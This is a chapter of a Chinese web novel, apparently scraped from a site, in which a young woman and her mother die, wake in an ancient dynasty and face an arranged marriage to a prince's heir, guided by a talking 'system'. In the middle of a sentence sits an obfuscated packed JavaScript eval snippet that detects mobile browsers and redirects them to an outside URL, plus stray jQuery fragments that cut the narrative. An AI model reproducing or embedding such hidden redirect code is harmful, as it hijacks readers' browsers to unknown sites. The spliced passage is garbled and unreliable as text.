街角不起眼的一间清吧内,最后一位客人悠哉离场。
大门合上,挡住了屋外的风雪,阎祈平的目光从停止摇摆的古董门铃上移开,深呼吸一口气松了松肩膀,正准备收拾调酒台下班。
这时,桌下扣住的手机震动,翻开是妈妈打来的电话。
自父亲扔下一屁股债用死亡逃避一切后,阎祈平与母亲阎月英一天打几份工还款,日子辛苦,但家中没了累赘,母女二人相依为命也有奔头。
举起电话,阎祈平心中疑惑渐增。这个点妈妈还没睡,那些讨债的又来家里骚扰了?
正想着,手机又立刻回归宁静,之后不论阎祈平怎么发信息打电话,都不再有回应。
慌乱片刻便占据了她的脑海,将剩下的工作托给同事后,阎祈平不敢有半分停留动身骑车回家。
一路上油门越拧越大,冲上楼梯推开家门的瞬间,母亲心脏病发的扭曲面容越过一切撞进她眼中。
她应该再快一点回来的。
自责,痛苦,全世界仿佛只剩下她自己的呼吸声,和无法摆脱的手脚发麻的感觉。
本能地抬手擦泪时,阎祈平猛地碰到了颈间的异物。
“不能怪我,别怪我!要怪只能怪你妈太不经吓,我只是,老板让我来要钱的......”
一切归于黑暗之前,视线中是母亲的死不瞑目,耳边是凶手的疯癫低喃。
脖子好痛,胸腔好痛,不甘心,明明和妈妈撑到现在了,过完年,烂赌家暴的爹欠的债就能还完了。
“不!凭什么!”
“就是,凭什么!我家小姐自小伶俐,以后合该姑爷听小姐的。”
“好好好,是属下失言,小姐头莫动,再坚持一下。阿云也莫捣乱,去给小姐泡杯热茶暖暖。”
“哼,去就去。”
两个丫头的小口角中断了阎祈平的心绪,她看着镜中一身华服嫁衣的卓然佳人,一时回不过神。
“小姐恕罪,属下再唠叨一句,今后在的就是勇亲王世子府了,您可不能再这样惯着庆云。”镜中,身旁陪自己梳妆的人叹了口气,语重心长说道。
“勇亲王世子,我?”
大概是前一刻的打击过大,阎祈平仿佛飘忽在整个世界之外,听到自己的声音,看着周遭古色古香的环境,只觉一切都是梦境幻影。
“小姐快别听景星念了,您才从腊月的河里被救上来没两日,又折腾着与勇亲王世子的婚事,如今一切落定,快歇歇脑子安安神。喏,热茶。”
侍女庆云没大没小的话又惹来景星的蹙眉,但也正因此想到什么,这个稳重些的侍女送走梳完头的喜娘。
回来后,再次开口道:“您是燕越第一船商世家的千金独苗阎祈平,我们是从小伴您长大的贴身侍女。您先前,钟情傅家公子,不惜为他跳河,救回后因祸得福终于想开。如今与勇亲王世子喜结良缘,今日正是大喜的日子,今后一切都会好的。”
“小姐又有些不记得了吧,您自从发了一夜烧之后就时常不记得事情,所以我们聪明的小姐吩咐我和景星提醒您。”
“小姐安心,一切有我们,还有夫人、吴嬷嬷,阎家上下百口人,永远在您身后。”
见自家小姐眼中依旧有疑惑,景星和庆云一左一右蹲下身握住阎祈平的手。
掌心的温暖,喉咙的干涩,都让阎祈平有了更多实感,正要说什么,眼前却猛地闪现庆云惨死,景星断臂的画面。
还未来得及适应这些血腥,身后传来无比熟悉的声音。
“祈平?”
“夫人安好。”
两侍女转身行礼问安,而阎祈平,像迷路了许久的人终于看到了出口的光亮,她爬也似的转身冲了出去。
“妈!——”
门外守着的嬷嬷只听屋内传来乱成一片的哭声,看着小姐长大的她也红了眼眶。接着,掏帕子掩面的动作突兀地停住。
不只是嬷嬷,放眼望去,整个世界一同静止,除了屋内的阎祈平母女。
这样的异常,让哭成泪人的二人很快便脱离出重逢的喜悦,警惕起来。
“妈,我们难道是,到地府了?”
“嘶,不能,妈掐着有点痛。”
“说不好鬼怕痛呢?”
【咳咳。】
“姑娘,咱娘俩好像真到阴间了,妈听见鬼咳嗽了。”
母亲阎月英声音有些抖,阎祈平担心妈妈的心脏,直起腰板大喝道:“谁在装神弄鬼?”
只见阎祈平头顶大亮,繁复的头饰上,一颗珍珠浮在二人中间。
【白慌,有求必应系统,俺是。】
——————————————————
坐在喜轿里晃到天光昏暗,阎祈平还是没有彻底理解自己的现状。
一朝得魂兮归来穿越到古代,还要替一个同名同姓的古人,延续她重生后的婚后人生,丈夫竟是寻她破镜重圆的前前任。
时间暂停之时,系统以独特的口音,绘声绘色地讲述了它前主人,所托非人下场凄惨的前世。
听得阎月英的眼泪重新蓄满眼眶。
听闻一会儿来迎亲的新郎,是曾去过赌场的纨绔子,阎月英当即就要带女儿悔婚。
听到这是个皇权大过天的时代,悔婚就是人头落地,阎月英又捂着心口愁绪难消。
“叫阎祈平的都这么命苦吗?姑娘,听说古代嫁人从夫姓,你要不趁机干脆改个名吧。”
“改什么,祈平,祈得平安,多好啊。你看我们死而复生,那位阎祈平也曾有重新再来的机会,这些可都是旁人求也求不来的。更何况妈你听谁说的,古代没从夫姓的说法,我就随妈妈姓,叫一辈子阎祈平。”
母亲照例像往常一样,觉得是自己不吉利的姓,给女儿带来了苦难。
自然,这是阎祈平绝不会认同的歪论。
不过困境到底存在,首先不得不挂心的,就是系统一直不正面回答的,古代阎家母女的去向。
其次,如何应付那个听着不像好人的未来丈夫,如何应付非要自己,继续它前主人复仇大业的固执系统,如何防范古代阎祈平前世记忆中,阎家的满门抄斩,光这几个问题,阎祈平就在轿子上想了一路。
想到现在也一直没招就是了。
好在这个看着一根筋的系统,不会动不动就放电威胁,还将她和母亲一同带来了这个世界。
只要母女同在,就没有什么过不去的坎。
把玩着镶嵌珍珠系统的玉簪,阎祈平重整心情,随手用簪尾挑起喜轿的帘子,从小缝望着沿街凑热闹的百姓。
就见一个转弯,阎家母女视线交错,在两人齐声疑惑之时,迎亲的队伍敲锣打鼓进了阎府隔壁的一处大宅子。
阎月英得知未来女婿曾流连赌场的担忧,阎祈平压在心底的离开母亲的彷徨,都在此刻被冲淡了许多。
也没人告诉她们,勇亲王世子府就在阎府隔壁啊。
“平儿,该落轿了。”
一只骨节分明的纤长大手拨开了轿门,随之而来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16523168|186305||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的,是让阎祈平鸡皮疙瘩掉一地的低哑嗓音。
那手很白净,在周遭灯笼的映照下泛着暖光,如画的景象在阎祈平眼中却有些像勾魂索命的鬼爪。
古人宽袍大袖的好处在这一刻体现,她隔着衣料搭上了那只手,起身钻出轿子时,借抬头的动作仔细端详了先前,在高头大马上看不清面容的男人。
“平儿看我做什么?”
“夫君甚美。”
这个叫张萧散的确实貌美,声音也还行,以后只当家里有个漂亮家具就是。
“不及平儿倾国容颜半分。岳母大人和我爹娘已到大堂落座,我们也快些过去吧。”
“夫君所言极是。”
阎祈平宽慰好自己,点头随张萧散前去拜堂。
今天发生了太多事,本就上了一天班的她,等礼成到了婚房已经哈欠连天。
不知阎家在世人面前是怎样的形象地位,阎祈平拜堂时随性的仪态无一人敢置喙,再加上有景星和庆云守在门口,她逐渐放松了身心,倒头便睡了。
酣睡没多久,母亲人头落地的噩梦让阎祈平惊醒。
妈妈现在正和皇帝的亲叔叔婶婶,这个国家唯一的亲王夫妻相处,可别有什么意外。
想到这一点阎祈平就坐不住,匆匆下床推开门,“母亲呢?”
“夫人在前院大堂,小姐需要属下去看看吗?”
“何事惹平儿如此焦急?”
主仆的交谈落入迎面走来的张萧散眼中,阎祈平用眼神制止了庆云打算回话的动作。
“担心母亲会给亲王和王妃添麻烦,正想让侍女去看一眼。”
“都是一家人何谈麻烦。”张萧散轻笑,挥挥手让跟来的小厮将食盒交给自己,随后转脸严肃了神色,“我们已是夫妻,平儿当唤爹娘或公婆才是。”
眉压眼的好相貌,稍不做表情就显得冷峻,只一对视,就让刚做过噩梦的阎祈平慌了神,“是我不是,一时,一时......”
“好了,别紧张,今日一切顺利。饿坏了吧,我给你带了好菜,瞧。”
张萧散拎着食盒快步到阎祈平面前,俏皮地挤了一下眼。
这一下,立刻驱散了冷意,阎祈平才想起,系统说过她与张萧散是协议成婚,是互有所图的合作伙伴。
平等些的地位给心里托了底,阎祈平松快一笑,将人和食盒让进了屋。
“今天可累死我了。诶,我说,你头上顶一堆看着就沉的首饰,还缩在轿子里硬坐了大半天,怎么还这么精神?”
这边吃着,那边张萧散三两下就脱了发冠松了发髻,摊在榻上没个正形。
阎祈平专心吃菜,口中无意义嘟囔几句,没有认真回答。
景星庆云帮阎祈平梳洗完毕后就退下了,一应宾客、下人都离了府,张萧散一副不装了的模样,正饿着的阎祈平自然也不管了。
没想到边吃,还边有节目看。
张萧散此人是个坐不住的,没过一会儿就凑到桌边,讲述他曾经的误入迷途,又忽地高谈阔论他接下来的人生规划。
说痛快了,也不管阎祈平有没有应和,倒上一杯水,边递边问。
“瞧你饿的,新娘真的要清早就起来,一整天不能吃喝啊?”
“不至于,......”
还未等阎祈平回答完,婚房的窗户突然发出响动。
两人立刻屏息警惕。
他们万万也想不到,下一秒,一身黑衣的阎月英翻窗入内,三人眼对眼看个正着。